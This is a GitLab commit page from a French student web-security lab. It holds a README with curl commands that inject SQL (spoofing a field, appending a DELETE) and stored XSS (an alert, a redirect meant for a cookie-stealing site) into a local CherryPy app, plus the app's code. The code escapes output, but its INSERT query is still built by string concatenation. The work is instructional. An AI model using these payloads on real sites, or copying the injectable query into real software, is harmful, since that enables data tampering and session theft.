Skip to content
Snippets Groups Projects
Commit 03f24acc authored by martin.birlouez.etu's avatar martin.birlouez.etu
Browse files

Rendu final

parent 1593e47f
No related branches found
No related tags found
No related merge requests found
......@@ -34,11 +34,11 @@ Le script Js ne peut donc jammais trouver le chanp a vérifier.
* Réalisez une injection SQL qui insérer une chaine dans la base de données, tout en faisant en sorte que le champ who
* soit rempli avec ce que vous aurez décidé (et non pas votre adresse IP). Verifiez que cela a fonctionné ensuite.
curl -X POST -F "chaine=Hey','8.8.8.8') #" localhost:8080
>curl -X POST -F "chaine=Hey','8.8.8.8') #" localhost:8080
* Expliquez comment obtenir des informations sur une autre table
Si ici a la place de la chaine on ajoute une requette par exemple :
curl -X POST -F "chaine=Drop','8.8.8.8'); DELETE chaine WHERE 1=1 #" localhost:8080
>curl -X POST -F "chaine=Drop','8.8.8.8'); DELETE chaine WHERE 1=1 #" localhost:8080
## Question 4
......@@ -56,12 +56,18 @@ une verification par la librairei python.
## Question 5
* Commande curl pour afficher une fenetre de dialog.
>curl -X POST -F "chaine=','\<script\>alert(\'Hi!\')\</script\>') #" localhost:8080
Cette fenetre insert en Sql la balise script et son contenut qui est ducoup interpréter a l'affichage.
* Commande curl pour lire les cookies
## Question 6
>curl -X POST -F "chaine=','\<script\>document.location=\'https://google.fr\'\</script\>') #" localhost:8080
Rendre un fichier server_xss.py avec la correction de la
faille. Expliquez la demarche que vous avez suivi.
ien sur ici a la place de google.fr on aurat l'adresse de notre site d'aspirateur a cookies.
## Question 6
On va appliquer le html.escape pour remplacer les caractére html [&,<,>] en une cahine sure comme rien.
Nous réaliserons cette verification a l'affichage car c'est l'affichage du HTML et don sont interprétation par le
navigateur qui pose probléme.
......@@ -24,6 +24,7 @@ class VulnerableApp(object):
cursor.close()
return '''
<html>
<head>
<title>Application Python Vulnerable</title>
......
#!/usr/bin/env python3
import html
import mysql.connector
import cherrypy
import config
class VulnerableApp(object):
def __init__(self):
self.conn = mysql.connector.connect(host=config.DB_HOST, user=config.DB_USER, database=config.DB_NAME,
password=config.DB_PASS)
@cherrypy.expose
def index(self, **post):
cursor = self.conn.cursor()
if cherrypy.request.method == "POST":
requete = "INSERT INTO chaines (txt,who) VALUES('" + post[
"chaine"] + "','" + cherrypy.request.remote.ip + "')"
print("req: [" + requete + "]")
cursor.execute(requete)
self.conn.commit()
chaines = []
cursor.execute("SELECT txt,who FROM chaines");
for row in cursor.fetchall():
chaines.append(html.escape(row[0]) + " envoye par: " + html.escape(row[1]))
cursor.close()
return '''
<html>
<head>
<title>Application Python Vulnerable</title>
</head>
<body>
<p>
Bonjour, je suis une application vulnerable qui sert a inserer des chaines dans une base de données MySQL!
</p>
<p>
Liste des chaines actuellement insérées:
<ul>
''' + "\n".join(["<li>" + s + "</li>" for s in chaines]) + '''
</ul>
</p>
<p> Inserer une chaine:
<form method="post" onsubmit="return validate()">
<input type="text" name="chaine" id="chaine" value="" />
<br />
<input type="submit" name="submit" value="OK" />
</form>
<script>
function validate() {
var regex = /^[a-zA-Z0-9]+$/;
var chaine = document.getElementById('chaine').value;
console.log(regex.test(chaine));
if (!regex.test(chaine)) {
alert("Veuillez entrer une chaine avec uniquement des lettres et des chiffres");
return false;
}
return true;
}
</script>
</p>
</body>
</html>
'''
cherrypy.quickstart(VulnerableApp())
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Please register or to comment